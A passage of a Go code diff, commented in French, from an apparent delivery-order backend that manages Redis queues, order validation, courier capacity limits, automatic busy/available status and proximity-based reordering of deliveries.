return fmt.Errorf("commande introuvable: %w", err)
}
// ✅ VALIDATION STRICTE
errors := []string{}
// 1. Username
username, ok := command["username"].(string)
if !ok || username == "" {
errors = append(errors, "username manquant")
}
// 2. Address
address := ""
if addr, ok := command["delivery_address"].(string); ok && addr != "" {
address = addr
} else if addr, ok := command["adresse"].(string); ok && addr != "" {
address = addr
}
if address == "" {
errors = append(errors, "adresse de livraison manquante")
}
// 3. Coordinates
var lat, lng float64
if command["dest_latitude"] != nil {
if latVal, ok := command["dest_latitude"].(float64); ok {
lat = latVal
}
}
if command["dest_longitude"] != nil {
if lngVal, ok := command["dest_longitude"].(float64); ok {
lng = lngVal
}
}
if lat == 0 || lng == 0 {
errors = append(errors, "coordonnées GPS manquantes")
}
// 4. Total Price
var totalPrice float64
if tp, ok := command["total_prix"].(float64); ok {
totalPrice = tp
}
if totalPrice <= 0 {
errors = append(errors, "prix total invalide")
}
if len(errors) > 0 {
return fmt.Errorf("validation échouée: %v", errors)
}
return nil
}
// ============================================
// NETTOYAGE AUTOMATIQUE PÉRIODIQUE
// ============================================
// StartQueueCleanupScheduler démarre un nettoyage automatique toutes les 5 minutes
func (d *Database) StartQueueCleanupScheduler() {
go func() {
ticker := time.NewTicker(5 * time.Minute)
defer ticker.Stop()
log.Println("🔄 [CLEANUP] Scheduler de nettoyage démarré (toutes les 5 minutes)")
for range ticker.C {
removed, err := d.CleanupInvalidQueueCommands()
if err != nil {
log.Printf("❌ [CLEANUP] Erreur: %v", err)
} else if removed > 0 {
log.Printf("🧹 [CLEANUP] %d commandes invalides supprimées", removed)
}
}
}()
}
// ============================================
// RAPPORT DE VALIDATION
// ============================================
// GetQueueValidationReport génère un rapport de validation sans supprimer
func (d *Database) GetQueueValidationReport() (map[string]interface{}, error) {
keys, err := Redis.Keys(RedisCtx, "queue:pending:*").Result()
if err != nil {
return nil, err
}
report := map[string]interface{}{
"total_commands": len(keys),
"valid_commands": 0,
"invalid_commands": 0,
"invalid_details": []map[string]interface{}{},
"validation_results": []string{},
}
for _, key := range keys {
data, err := Redis.Get(RedisCtx, key).Result()
if err != nil {
continue
}
var queueItem models.CommandQueue
if err := json.Unmarshal([]byte(data), &queueItem); err != nil {
report["invalid_commands"] = report["invalid_commands"].(int) + 1
continue
}
// Validation
issues := []string{}
if queueItem.Username == "" {
issues = append(issues, "username vide")
}
if queueItem.Address == "" {
issues = append(issues, "adresse vide")
}
if queueItem.Lat == 0 || queueItem.Lng == 0 {
issues = append(issues, "GPS manquant")
}
if queueItem.CreatedAt.IsZero() {
issues = append(issues, "date invalide")
}
if len(issues) > 0 {
report["invalid_commands"] = report["invalid_commands"].(int) + 1
report["invalid_details"] = append(report["invalid_details"].([]map[string]interface{}), map[string]interface{}{
"command_id": queueItem.CommandID,
"issues": issues,
"data": queueItem,
})
} else {
report["valid_commands"] = report["valid_commands"].(int) + 1
}
}
return report, nil
}
+169
View File
@@ -0,0 +1,169 @@
package db
import (
"encoding/json"
"fmt"
"gestion/models"
"time"
)
// GetDeliverymanQueueInfo récupère les infos de queue d'un livreur
func (d *Database) GetDeliverymanQueueInfo(deliveryman string) (map[string]interface{}, error) {
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
// Nombre de commandes dans la queue
queueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
// Récupérer toutes les commandes
commandIDs, _ := Redis.ZRange(RedisCtx, queueKey, 0, -1).Result()
// Vérifier le nombre de livreurs actifs pour déterminer la limite
activeCount, _ := d.CountActiveDeliverymen()
// Récupérer les détails de chaque commande
var commands []map[string]interface{}
for i, cmdIDStr := range commandIDs {
commandID := extractCommandID(cmdIDStr)
if commandID <= 0 {
continue
}
// Récupérer les données de la commande
commandKey := fmt.Sprintf("queue:pending:%d", commandID)
data, err := Redis.Get(RedisCtx, commandKey).Result()
if err != nil {
continue
}
var queueItem models.CommandQueue
if err := json.Unmarshal([]byte(data), &queueItem); err != nil {
continue
}
commands = append(commands, map[string]interface{}{
"position": i + 1,
"command_id": commandID,
"address": queueItem.Address,
"estimated_eta": queueItem.EstimatedETA,
"created_at": queueItem.CreatedAt,
"lat": queueItem.Lat,
"lng": queueItem.Lng,
})
}
// Déterminer si le livreur peut accepter plus de commandes
canAcceptMore := true
if activeCount > 1 {
// Plusieurs livreurs: limite de 10
canAcceptMore = queueSize < MAX_COMMANDS_PER_DELIVERYMAN
}
// Si un seul livreur: pas de limite (canAcceptMore reste true)
return map[string]interface{}{
"deliveryman": deliveryman,
"queue_size": queueSize,
"commands": commands,
"can_accept_more": canAcceptMore,
"max_commands": MAX_COMMANDS_PER_DELIVERYMAN,
"active_deliverymen": activeCount,
}, nil
}
func (d *Database) GetAllQueuesOverview() (map[string]interface{}, error) {
overview := make(map[string]interface{})
// Queue générale
generalQueueSize, _ := Redis.ZCard(RedisCtx, "queue:pending:sorted").Result()
overview["general_queue"] = generalQueueSize
// Queues par livreur avec détails
deliverymanQueues := make(map[string]interface{})
keys, _ := Redis.Keys(RedisCtx, "queue:deliveryman:*").Result()
for _, key := range keys {
if len(key) > 6 && key[len(key)-6:] == ":count" {
continue
}
username := key[len("queue:deliveryman:"):]
queueSize, _ := Redis.ZCard(RedisCtx, key).Result()
deliverymanQueues[username] = map[string]interface{}{
"queue_size": queueSize,
"can_accept_more": queueSize < MAX_COMMANDS_PER_DELIVERYMAN,
"capacity": fmt.Sprintf("%d/%d", queueSize, MAX_COMMANDS_PER_DELIVERYMAN),
}
}
overview["deliveryman_queues"] = deliverymanQueues
// Total
var totalPending int64 = generalQueueSize
for _, key := range keys {
if len(key) > 6 && key[len(key)-6:] == ":count" {
continue
}
size, _ := Redis.ZCard(RedisCtx, key).Result()
totalPending += size
}
overview["total_pending"] = totalPending
return overview, nil
}
// GetQueueStats - Statistiques détaillées
func (d *Database) GetQueueStats() (map[string]interface{}, error) {
normalCount, _ := Redis.ZCard(RedisCtx, "queue:pending:sorted").Result()
priorityCount, _ := Redis.ZCard(RedisCtx, "queue:priority:sorted").Result()
// Compter les commandes dans les queues des livreurs
var deliverymanQueueCount int64
keys, _ := Redis.Keys(RedisCtx, "queue:deliveryman:*").Result()
for _, key := range keys {
if len(key) > 6 && key[len(key)-6:] == ":count" {
continue
}
count, _ := Redis.ZCard(RedisCtx, key).Result()
deliverymanQueueCount += count
}
// Calculer temps d'attente moyen
var totalWaitTime int64
var commandCount int64
normalResults, _ := Redis.ZRangeWithScores(RedisCtx, "queue:pending:sorted", 0, -1).Result()
for _, result := range normalResults {
commandID := extractCommandID(result.Member)
if commandID <= 0 {
continue
}
key := fmt.Sprintf("queue:pending:%d", commandID)
data, _ := Redis.Get(RedisCtx, key).Result()
var item models.CommandQueue
if json.Unmarshal([]byte(data), &item) == nil {
waitMinutes := int64(time.Since(item.CreatedAt).Minutes())
totalWaitTime += waitMinutes
commandCount++
}
}
avgWaitTime := 0
if commandCount > 0 {
avgWaitTime = int(totalWaitTime / commandCount)
}
stats := map[string]interface{}{
"total_pending": normalCount + priorityCount,
"general_queue": normalCount,
"priority_queue": priorityCount,
"deliveryman_queues": deliverymanQueueCount,
"avg_wait_time_min": avgWaitTime,
"max_commands_per_driver": MAX_COMMANDS_PER_DELIVERYMAN,
"avg_delivery_time": AVG_DELIVERY_TIME,
"last_updated": time.Now().Format("2006-01-02 15:04:05"),
}
return stats, nil
}
@@ -0,0 +1,747 @@
package db
import (
"encoding/json"
"fmt"
"gestion/models"
"log"
"strconv"
"time"
"github.com/redis/go-redis/v9"
)
// ============================================
// 🆕 GESTION AUTOMATIQUE DU STATUT BUSY
// ============================================
// UpdateDeliverymanStatusBasedOnQueue met à jour automatiquement le statut
// ✅ Status = "busy" si queue >= 10
// ✅ Status = "available" si queue < 10
func (d *Database) UpdateDeliverymanStatusBasedOnQueue(deliveryman string) error {
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
queueSize, err := Redis.ZCard(RedisCtx, queueKey).Result()
if err != nil {
return fmt.Errorf("erreur récupération taille queue: %w", err)
}
// Récupérer le statut actuel
statusKey := fmt.Sprintf("delivery:status:%s", deliveryman)
data, err := Redis.Get(RedisCtx, statusKey).Result()
if err != nil {
log.Printf("⚠️ [STATUS] Livreur %s n'a pas de statut Redis", deliveryman)
return nil
}
var status models.DeliveryPersonStatus
if err := json.Unmarshal([]byte(data), &status); err != nil {
return err
}
// Déterminer le nouveau statut
var newStatus string
var currentCommand int
if queueSize >= MAX_COMMANDS_PER_DELIVERYMAN {
// 🔴 BUSY car queue pleine (10 commandes ou plus)
newStatus = "busy"
currentCommand = 0
log.Printf("🔴 [STATUS] %s -> BUSY (queue pleine: %d/10)", deliveryman, queueSize)
} else {
// 🟢 AVAILABLE tant que queue < 10
// Exception: si le livreur est en train de livrer (delivering), on garde ce statut
if status.Status == "delivering" && status.CurrentCommand > 0 {
newStatus = "delivering"
currentCommand = status.CurrentCommand
log.Printf("🟡 [STATUS] %s -> DELIVERING (queue: %d/10, livraison en cours: cmd %d)",
deliveryman, queueSize, currentCommand)
} else {
newStatus = "available"
currentCommand = 0
log.Printf("🟢 [STATUS] %s -> AVAILABLE (queue: %d/10)", deliveryman, queueSize)
}
}
// Mettre à jour le statut
return d.SetDeliveryPersonStatus(deliveryman, newStatus, currentCommand)
}
// CanDeliverymanAcceptCommands vérifie si un livreur peut accepter de nouvelles commandes
// ✅ Retourne false si: status=busy ET queue>=10, ou status=offline
func (d *Database) CanDeliverymanAcceptCommands(deliveryman string) bool {
// 1. Vérifier le statut Redis
statusKey := fmt.Sprintf("delivery:status:%s", deliveryman)
data, err := Redis.Get(RedisCtx, statusKey).Result()
if err != nil {
log.Printf("⚠️ [CHECK] Livreur %s sans statut Redis", deliveryman)
return true // Fallback: autoriser si pas de statut
}
var status models.DeliveryPersonStatus
if err := json.Unmarshal([]byte(data), &status); err != nil {
return true
}
// 2. Si offline, refuser
if status.Status == "offline" {
log.Printf("⚫ [CHECK] %s REFUSÉ: offline", deliveryman)
return false
}
// 3. Vérifier la taille de la queue
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
queueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
// 4. Si queue >= 10, refuser
if queueSize >= MAX_COMMANDS_PER_DELIVERYMAN {
log.Printf("🔴 [CHECK] %s REFUSÉ: queue pleine (%d/10)", deliveryman, queueSize)
return false
}
log.Printf("🟢 [CHECK] %s AUTORISÉ (%d/10)", deliveryman, queueSize)
return true
}
// GetAvailableDeliveryPersonsForAssignment récupère UNIQUEMENT les livreurs pouvant accepter
func (d *Database) GetAvailableDeliveryPersonsForAssignment() ([]models.DeliveryPersonStatus, error) {
keys, err := Redis.Keys(RedisCtx, "delivery:status:*").Result()
if err != nil {
return nil, err
}
var available []models.DeliveryPersonStatus
for _, key := range keys {
data, err := Redis.Get(RedisCtx, key).Result()
if err != nil {
continue
}
var status models.DeliveryPersonStatus
if err := json.Unmarshal([]byte(data), &status); err != nil {
continue
}
// ✅ Vérifier si le livreur peut accepter des commandes
if d.CanDeliverymanAcceptCommands(status.Username) {
available = append(available, status)
}
}
log.Printf("📊 [AVAILABLE] %d livreur(s) disponible(s) pour assignation", len(available))
return available, nil
}
// ============================================
// 🔄 FONCTIONS MODIFIÉES AVEC AUTO-STATUS
// ============================================
// AddToDeliverymanQueue - VERSION MISE À JOUR avec auto-update du statut
func (d *Database) AddToDeliverymanQueue(deliveryman string, queueItem models.CommandQueue) error {
data, err := json.Marshal(queueItem)
if err != nil {
return fmt.Errorf("erreur serialisation: %w", err)
}
// Sauvegarder les données de la commande
commandKey := fmt.Sprintf("queue:pending:%d", queueItem.CommandID)
Redis.Set(RedisCtx, commandKey, data, 24*time.Hour)
// Ajouter à la queue sorted set du livreur (score = timestamp)
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
score := float64(time.Now().Unix())
err = Redis.ZAdd(RedisCtx, queueKey, redis.Z{
Score: score,
Member: queueItem.CommandID,
}).Err()
if err != nil {
return fmt.Errorf("erreur ajout queue Redis: %w", err)
}
// Incrémenter le compteur de commandes en attente pour ce livreur
counterKey := fmt.Sprintf("queue:deliveryman:%s:count", deliveryman)
Redis.Incr(RedisCtx, counterKey)
log.Printf("✅ Commande %d ajoutée à la queue de %s", queueItem.CommandID, deliveryman)
// ✅ NOUVEAU: Mettre à jour automatiquement le statut
go d.UpdateDeliverymanStatusBasedOnQueue(deliveryman)
return nil
}
// AddCommandToQueue ajoute une commande à la file d'attente Redis (version simple)
func (d *Database) AddCommandToQueue(commandID int) error {
if err := d.ValidateCommandBeforeQueue(commandID); err != nil {
log.Printf("❌ [QUEUE] Commande %d REFUSÉE: %v", commandID, err)
return fmt.Errorf("validation échouée: %w", err)
}
command, err := d.GetCommandByID(commandID)
if err != nil {
return fmt.Errorf("commande introuvable: %w", err)
}
// Gestion des coordonnées (NULL safe)
var lat, lng float64
if command["dest_latitude"] != nil {
if latVal, ok := command["dest_latitude"].(float64); ok {
lat = latVal
}
}
if command["dest_longitude"] != nil {
if lngVal, ok := command["dest_longitude"].(float64); ok {
lng = lngVal
}
}
// Récupérer le total_prix avec gestion de type
var totalPrice float64
if tp, ok := command["total_prix"].(float64); ok {
totalPrice = tp
}
// Récupérer l'adresse
var address string
if addr, ok := command["delivery_address"].(string); ok {
address = addr
}
queueItem := models.CommandQueue{
CommandID: commandID,
Username: command["username"].(string),
TotalPrice: totalPrice,
Address: address,
Lat: lat,
Lng: lng,
CreatedAt: time.Now(),
EstimatedETA: 0,
}
// Ajouter à la queue générale
return d.AddToGeneralQueue(queueItem)
}
// AddCommandToSmartQueue - Ajoute une commande avec attribution au livreur le moins chargé
func (d *Database) AddCommandToSmartQueue(commandID int, address string) error {
if err := d.ValidateCommandBeforeQueue(commandID); err != nil {
log.Printf("❌ [QUEUE] Commande %d REFUSÉE: %v", commandID, err)
return fmt.Errorf("validation échouée: %w", err)
}
command, err := d.GetCommandByID(commandID)
if err != nil {
return fmt.Errorf("commande introuvable: %w", err)
}
// Gestion des coordonnées (NULL safe)
var lat, lng float64
if command["dest_latitude"] != nil {
if latVal, ok := command["dest_latitude"].(float64); ok {
lat = latVal
}
}
if command["dest_longitude"] != nil {
if lngVal, ok := command["dest_longitude"].(float64); ok {
lng = lngVal
}
}
// Récupérer le total_prix avec gestion de type
var totalPrice float64
if tp, ok := command["total_prix"].(float64); ok {
totalPrice = tp
}
queueItem := models.CommandQueue{
CommandID: commandID,
Username: command["username"].(string),
TotalPrice: totalPrice,
Address: address,
Lat: lat,
Lng: lng,
CreatedAt: time.Now(),
EstimatedETA: 0,
}
// ✅ MODIFIÉ: Utiliser FindLeastLoadedDeliveryman qui respecte maintenant le statut
assignedDeliveryman, err := d.FindLeastLoadedDeliveryman()
if err != nil {
// Aucun livreur trouvé, ajouter à la queue générale
log.Printf("⚠️ Aucun livreur trouvé, ajout à la queue générale")
return d.AddToGeneralQueue(queueItem)
}
// Ajouter la commande à la queue spécifique du livreur (auto-update du statut)
err = d.AddToDeliverymanQueue(assignedDeliveryman, queueItem)
if err != nil {
return fmt.Errorf("erreur ajout à la queue du livreur: %w", err)
}
log.Printf("📋 Commande %d assignée à la queue de %s", commandID, assignedDeliveryman)
// Publier l'événement
d.PublishCommandEvent(commandID, "queued",
fmt.Sprintf("En attente dans la queue de %s", assignedDeliveryman))
return nil
}
// AddToGeneralQueue ajoute une commande à la queue générale (fallback)
func (d *Database) AddToGeneralQueue(queueItem models.CommandQueue) error {
data, err := json.Marshal(queueItem)
if err != nil {
return fmt.Errorf("erreur serialisation: %w", err)
}
score := float64(time.Now().Unix())
key := fmt.Sprintf("queue:pending:%d", queueItem.CommandID)
pipe := Redis.Pipeline()
pipe.Set(RedisCtx, key, data, 24*time.Hour)
pipe.ZAdd(RedisCtx, "queue:pending:sorted", redis.Z{
Score: score,
Member: queueItem.CommandID,
})
_, err = pipe.Exec(RedisCtx)
if err != nil {
return fmt.Errorf("erreur ajout queue générale: %w", err)
}
log.Printf("📥 Commande %d ajoutée à la queue générale", queueItem.CommandID)
return nil
}
// RemoveCommandFromQueue - VERSION AMÉLIORÉE avec auto-update du statut
func (d *Database) RemoveCommandFromQueue(commandID int) error {
key := fmt.Sprintf("queue:pending:%d", commandID)
commandIDStr := strconv.Itoa(commandID)
pipe := Redis.Pipeline()
pipe.Del(RedisCtx, key)
pipe.ZRem(RedisCtx, "queue:pending:sorted", commandIDStr)
pipe.ZRem(RedisCtx, "queue:priority:sorted", commandIDStr)
// Trouver et retirer de la queue du livreur
keys, _ := Redis.Keys(RedisCtx, "queue:deliveryman:*").Result()
var affectedDeliveryman string
for _, queueKey := range keys {
if len(queueKey) > 6 && queueKey[len(queueKey)-6:] == ":count" {
continue
}
// Vérifier si la commande est dans cette queue
_, err := Redis.ZRank(RedisCtx, queueKey, commandIDStr).Result()
if err == nil {
// Commande trouvée dans cette queue
affectedDeliveryman = queueKey[len("queue:deliveryman:"):]
pipe.ZRem(RedisCtx, queueKey, commandIDStr)
// Décrémenter le compteur
counterKey := fmt.Sprintf("queue:deliveryman:%s:count", affectedDeliveryman)
pipe.Decr(RedisCtx, counterKey)
break
}
}
_, err := pipe.Exec(RedisCtx)
if err != nil {
return fmt.Errorf("erreur suppression: %w", err)
}
log.Printf("✅ Commande %d retirée de la file", commandID)
// ✅ NOUVEAU: Mettre à jour le statut si un livreur était affecté
if affectedDeliveryman != "" {
go d.UpdateDeliverymanStatusBasedOnQueue(affectedDeliveryman)
}
return nil
}
func (d *Database) GetNextCommandInQueue() (*models.CommandQueue, error) {
normalResults, err := Redis.ZRangeWithScores(RedisCtx, "queue:pending:sorted", 0, 0).Result()
if err != nil || len(normalResults) == 0 {
return nil, fmt.Errorf("aucune commande en attente")
}
commandID := extractCommandID(normalResults[0].Member)
if commandID <= 0 {
return nil, fmt.Errorf("ID commande invalide")
}
key := fmt.Sprintf("queue:pending:%d", commandID)
data, err := Redis.Get(RedisCtx, key).Result()
if err != nil {
return nil, fmt.Errorf("commande introuvable: %w", err)
}
var queue models.CommandQueue
if err := json.Unmarshal([]byte(data), &queue); err != nil {
return nil, fmt.Errorf("erreur désérialisation: %w", err)
}
return &queue, nil
}
// GetLastCommandInQueue récupère la dernière commande dans la queue d'un livreur
func (d *Database) GetLastCommandInQueue(deliveryman string) (*models.CommandQueue, error) {
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
// Récupérer la dernière commande (index -1)
commandIDs, err := Redis.ZRange(RedisCtx, queueKey, -1, -1).Result()
if err != nil || len(commandIDs) == 0 {
return nil, fmt.Errorf("queue vide")
}
commandID := extractCommandID(commandIDs[0])
if commandID <= 0 {
return nil, fmt.Errorf("ID invalide")
}
commandKey := fmt.Sprintf("queue:pending:%d", commandID)
data, err := Redis.Get(RedisCtx, commandKey).Result()
if err != nil {
return nil, err
}
var queueItem models.CommandQueue
if err := json.Unmarshal([]byte(data), &queueItem); err != nil {
return nil, err
}
return &queueItem, nil
}
// GetCommandQueuePosition récupère la position d'une commande dans la queue
func (d *Database) GetCommandQueuePosition(commandID int) (int, error) {
commandIDStr := strconv.Itoa(commandID)
// Chercher d'abord dans les queues des livreurs
keys, _ := Redis.Keys(RedisCtx, "queue:deliveryman:*").Result()
for _, queueKey := range keys {
// Éviter les clés de compteur
if len(queueKey) > 6 && queueKey[len(queueKey)-6:] == ":count" {
continue
}
rank, err := Redis.ZRank(RedisCtx, queueKey, commandIDStr).Result()
if err == nil {
return int(rank) + 1, nil
}
}
// Chercher dans la queue générale
rank, err := Redis.ZRank(RedisCtx, "queue:pending:sorted", commandIDStr).Result()
if err == nil {
return int(rank) + 1, nil
}
return 0, fmt.Errorf("commande non trouvée dans les queues")
}
func (d *Database) ClearDeliverymanQueue(deliveryman string) error {
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
// Récupérer toutes les commandes
commandIDs, _ := Redis.ZRange(RedisCtx, queueKey, 0, -1).Result()
// Redistribuer chaque commande
for _, cmdIDStr := range commandIDs {
commandID := extractCommandID(cmdIDStr)
if commandID <= 0 {
continue
}
// Récupérer les données de la commande
commandKey := fmt.Sprintf("queue:pending:%d", commandID)
data, err := Redis.Get(RedisCtx, commandKey).Result()
if err != nil {
continue
}
var queueItem models.CommandQueue
if err := json.Unmarshal([]byte(data), &queueItem); err != nil {
continue
}
// Trouver un nouveau livreur
newDeliveryman, err := d.FindLeastLoadedDeliveryman()
if err != nil {
// Fallback: queue générale
d.AddToGeneralQueue(queueItem)
continue
}
// Réassigner à un autre livreur
if newDeliveryman != deliveryman {
d.AddToDeliverymanQueue(newDeliveryman, queueItem)
log.Printf("🔄 Commande %d réassignée de %s à %s",
commandID, deliveryman, newDeliveryman)
}
}
// Vider la queue
Redis.Del(RedisCtx, queueKey)
Redis.Del(RedisCtx, fmt.Sprintf("queue:deliveryman:%s:count", deliveryman))
log.Printf("🗑️ Queue de %s vidée et redistribuée", deliveryman)
// ✅ NOUVEAU: Mettre à jour le statut
go d.UpdateDeliverymanStatusBasedOnQueue(deliveryman)
return nil
}
func (d *Database) SetDeliveryPersonStatus(username, status string, commandID int) error {
key := fmt.Sprintf("delivery:status:%s", username)
statusData := models.DeliveryPersonStatus{
Username: username,
Status: status,
CurrentCommand: commandID,
LastUpdate: time.Now(),
}
data, _ := json.Marshal(statusData)
err := Redis.Set(RedisCtx, key, data, 24*time.Hour).Err()
if err == nil {
log.Printf("✅ Statut livreur %s: %s", username, status)
}
return err
}
// GetAvailableDeliveryPersonsRedis récupère les livreurs disponibles (LEGACY)
func (d *Database) GetAvailableDeliveryPersonsRedis() ([]models.DeliveryPersonStatus, error) {
keys, err := Redis.Keys(RedisCtx, "delivery:status:*").Result()
if err != nil {
return nil, err
}
var available []models.DeliveryPersonStatus
for _, key := range keys {
data, err := Redis.Get(RedisCtx, key).Result()
if err != nil {
continue
}
var status models.DeliveryPersonStatus
json.Unmarshal([]byte(data), &status)
if status.Status == "available" {
available = append(available, status)
}
}
return available, nil
}
// GetAllActiveDeliveryPersons - VERSION MISE À JOUR avec vérification capacité
func (d *Database) GetAllActiveDeliveryPersons() ([]models.DeliveryPersonStatus, error) {
keys, err := Redis.Keys(RedisCtx, "delivery:status:*").Result()
if err != nil {
return nil, err
}
var active []models.DeliveryPersonStatus
for _, key := range keys {
data, err := Redis.Get(RedisCtx, key).Result()
if err != nil {
continue
}
var status models.DeliveryPersonStatus
json.Unmarshal([]byte(data), &status)
if status.Status != "offline" {
// ✅ Vérifier si le livreur peut accepter des commandes
if d.CanDeliverymanAcceptCommands(status.Username) {
active = append(active, status)
}
}
}
return active, nil
}
// CountActiveDeliverymen compte le nombre de livreurs actifs (non offline)
func (d *Database) CountActiveDeliverymen() (int, error) {
keys, err := Redis.Keys(RedisCtx, "delivery:status:*").Result()
if err != nil {
return 0, err
}
count := 0
for _, key := range keys {
data, err := Redis.Get(RedisCtx, key).Result()
if err != nil {
continue
}
var status models.DeliveryPersonStatus
json.Unmarshal([]byte(data), &status)
if status.Status != "offline" {
count++
}
}
return count, nil
}
func (d *Database) GetSingleActiveDeliveryman() (string, error) {
keys, err := Redis.Keys(RedisCtx, "delivery:status:*").Result()
if err != nil {
return "", err
}
for _, key := range keys {
data, err := Redis.Get(RedisCtx, key).Result()
if err != nil {
continue
}
var status models.DeliveryPersonStatus
json.Unmarshal([]byte(data), &status)
if status.Status != "offline" {
return status.Username, nil
}
}
return "", fmt.Errorf("aucun livreur actif trouvé")
}
// GetAllActiveDeliverymenUsernames retourne les usernames de tous les livreurs actifs
func (d *Database) GetAllActiveDeliverymenUsernames() ([]string, error) {
keys, err := Redis.Keys(RedisCtx, "delivery:status:*").Result()
if err != nil {
return nil, err
}
var activeUsernames []string
for _, key := range keys {
data, err := Redis.Get(RedisCtx, key).Result()
if err != nil {
continue
}
var status models.DeliveryPersonStatus
json.Unmarshal([]byte(data), &status)
if status.Status != "offline" {
activeUsernames = append(activeUsernames, status.Username)
}
}
return activeUsernames, nil
}
// ============================================
// 🔄 SYNCHRONISATION DES STATUTS
// ============================================
// SyncAllDeliverymanStatuses synchronise tous les statuts (à appeler au démarrage)
func (d *Database) SyncAllDeliverymanStatuses() error {
keys, err := Redis.Keys(RedisCtx, "delivery:status:*").Result()
if err != nil {
return err
}
log.Println("🔄 [SYNC] Synchronisation des statuts livreurs...")
for _, key := range keys {
data, err := Redis.Get(RedisCtx, key).Result()
if err != nil {
continue
}
var status models.DeliveryPersonStatus
if err := json.Unmarshal([]byte(data), &status); err != nil {
continue
}
// Mettre à jour le statut basé sur la queue
d.UpdateDeliverymanStatusBasedOnQueue(status.Username)
}
log.Println("✅ [SYNC] Synchronisation terminée")
return nil
}
// ============================================
// 📊 RAPPORT DE CAPACITÉ
// ============================================
// GetDeliverymanCapacityReport génère un rapport détaillé
func (d *Database) GetDeliverymanCapacityReport() (map[string]interface{}, error) {
keys, err := Redis.Keys(RedisCtx, "delivery:status:*").Result()
if err != nil {
return nil, err
}
report := map[string]interface{}{
"total_deliverymen": 0,
"available": 0,
"busy_full": 0, // BUSY car queue pleine
"busy_delivering": 0, // BUSY car en livraison
"offline": 0,
"details": []map[string]interface{}{},
}
for _, key := range keys {
data, err := Redis.Get(RedisCtx, key).Result()
if err != nil {
continue
}
var status models.DeliveryPersonStatus
if err := json.Unmarshal([]byte(data), &status); err != nil {
continue
}
queueKey := fmt.Sprintf("queue:deliveryman:%s", status.Username)
queueSize, _ := Redis.ZCard(RedisCtx, queueKey).Result()
canAccept := d.CanDeliverymanAcceptCommands(status.Username)
detail := map[string]interface{}{
"username": status.Username,
"status": status.Status,
"queue_size": queueSize,
"capacity": fmt.Sprintf("%d/10", queueSize),
"can_accept": canAccept,
"current_order": status.CurrentCommand,
}
report["total_deliverymen"] = report["total_deliverymen"].(int) + 1
if status.Status == "offline" {
report["offline"] = report["offline"].(int) + 1
} else if status.Status == "busy" {
if queueSize >= MAX_COMMANDS_PER_DELIVERYMAN {
report["busy_full"] = report["busy_full"].(int) + 1
} else {
report["busy_delivering"] = report["busy_delivering"].(int) + 1
}
} else if canAccept {
report["available"] = report["available"].(int) + 1
}
report["details"] = append(report["details"].([]map[string]interface{}), detail)
}
return report, nil
}
@@ -0,0 +1,343 @@
package db
import (
"encoding/json"
"fmt"
"gestion/models"
"gestion/services"
"log"
"math"
"sort"
"strconv"
"time"
"github.com/redis/go-redis/v9"
)
// CompleteDeliveryAndProcessNext marque une livraison comme terminée et optimise la queue
func (d *Database) CompleteDeliveryAndProcessNext(deliveryman string, completedCommandID int) error {
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
// Retirer la commande complétée de la queue
Redis.ZRem(RedisCtx, queueKey, strconv.Itoa(completedCommandID))
// Supprimer les données de la commande
commandKey := fmt.Sprintf("queue:pending:%d", completedCommandID)
Redis.Del(RedisCtx, commandKey)
// Supprimer le cache de destination
destCacheKey := fmt.Sprintf("command:destination:%d", completedCommandID)
Redis.Del(RedisCtx, destCacheKey)
// Supprimer l'ETA
etaKey := fmt.Sprintf("command:eta:%d", completedCommandID)
Redis.Del(RedisCtx, etaKey)
// Décrémenter le compteur
counterKey := fmt.Sprintf("queue:deliveryman:%s:count", deliveryman)
Redis.Decr(RedisCtx, counterKey)
log.Printf("✅ Livraison %d complétée par %s", completedCommandID, deliveryman)
// Vérifier s'il reste des commandes
remainingCount, _ := Redis.ZCard(RedisCtx, queueKey).Result()
if remainingCount == 0 {
d.SetDeliveryPersonStatus(deliveryman, "available", 0)
log.Printf("🔓 Livreur %s libéré - Plus de commandes en queue", deliveryman)
// Chercher dans la queue générale
go d.ProcessNextCommandInQueue(deliveryman)
return nil
}
// ============================================
// 🔄 OPTIMISATION PAR PROXIMITÉ
// ============================================
log.Printf("🔄 Optimisation queue de %s: %d commande(s) restante(s)", deliveryman, remainingCount)
err := d.OptimizeDeliverymanQueueByProximity(deliveryman)
if err != nil {
log.Printf("⚠️ Erreur optimisation queue: %v", err)
// Fallback: recalculer les ETAs sans réorganiser
d.RecalculateQueueETAs(deliveryman)
}
// Récupérer la prochaine commande (maintenant la plus proche)
nextCommand, nextETA, err := d.FindNearestCommandInQueue(deliveryman)
if err == nil && nextCommand != nil {
d.SetDeliveryPersonStatus(deliveryman, "busy", nextCommand.CommandID)
log.Printf("📍 Prochaine livraison: Commande %d (ETA: %d min)", nextCommand.CommandID, nextETA)
}
return nil
}
func (d *Database) OptimizeDeliverymanQueueByProximity(deliveryman string) error {
livreurLat, livreurLng, err := d.GetDeliveryPersonLocation(deliveryman)
if err != nil {
log.Printf("⚠️ Position livreur %s non disponible, recalcul ETAs simple", deliveryman)
return d.RecalculateQueueETAs(deliveryman)
}
queueKey := fmt.Sprintf("queue:deliveryman:%s", deliveryman)
commandIDs, err := Redis.ZRange(RedisCtx, queueKey, 0, -1).Result()
if err != nil || len(commandIDs) == 0 {
return nil
}
// Collecter les informations de chaque commande avec sa distance
var commandsWithDistance []CommandWithDistance
for _, cmdIDStr := range commandIDs {
commandID := extractCommandID(cmdIDStr)
if commandID <= 0 {
continue
}
// 1. Essayer de récupérer depuis queue:pending:{id}
commandKey := fmt.Sprintf("queue:pending:%d", commandID)
data, err := Redis.Get(RedisCtx, commandKey).Result()
var lat, lng float64
var address string
if err == nil && data != "" {
var queueItem models.CommandQueue
if err := json.Unmarshal([]byte(data), &queueItem); err == nil {
lat = queueItem.Lat
lng = queueItem.Lng
address = queueItem.Address
}
}
// 2. Si coordonnées à 0, essayer le cache command:destination:{id}
if lat == 0 && lng == 0 {
destCacheKey := fmt.Sprintf("command:destination:%d", commandID)
destData, err := Redis.Get(RedisCtx, destCacheKey).Result()
if err == nil && destData != "" {
var coords struct {
Lat float64 `json:"lat"`
Lon float64 `json:"lon"`
}
